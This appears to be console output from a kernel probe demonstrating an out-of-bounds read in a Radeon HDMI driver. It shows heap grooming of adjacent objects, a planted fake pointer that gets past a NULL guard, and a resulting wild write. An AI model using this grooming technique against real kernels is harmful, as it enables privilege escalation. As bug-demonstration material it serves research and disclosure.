login: evg_probe: 8192 objs of 280 bytes; usable chunk = 288 (want 288)
evg_probe: adjacent pair A=0xfffff80117c95900 B=0xfffff80117c95a20 (B-A=288 want 288)
evg_probe: victim B[0..8) groomed to 0xffffffff82600380 (fake afmt)
evg_probe: OOB READ dig->afmt (+288) == 0xffffffff82600380 (non-NULL -> guard at evergreen_hdmi.c:431 FALLS THROUGH)
evg_probe: fake_afmt before: enabled=0 offset=0x5678
evg_probe: after evergreen_hdmi_enable(true): enabled=1  <- WILD WRITE via OOB-read pointer (evergreen_hdmi.c:458)
evg_probe: collected 2 distinct MMIO sites; dig->afmt->offset == 0x5678 would be added to HDMI_INFOFRAME_CONTROL0/AFMT_AUDIO_PACKET_CONTROL WREG32s (:438-455)
evg_probe: after evergreen_hdmi_enable(false): enabled=0 (write-through both directions)
evg_probe: victim B[0..8) zeroed -> OOB read NULL -> replica touched 0 MMIO site(s), no write (silent; hides the bug)
evg_probe: done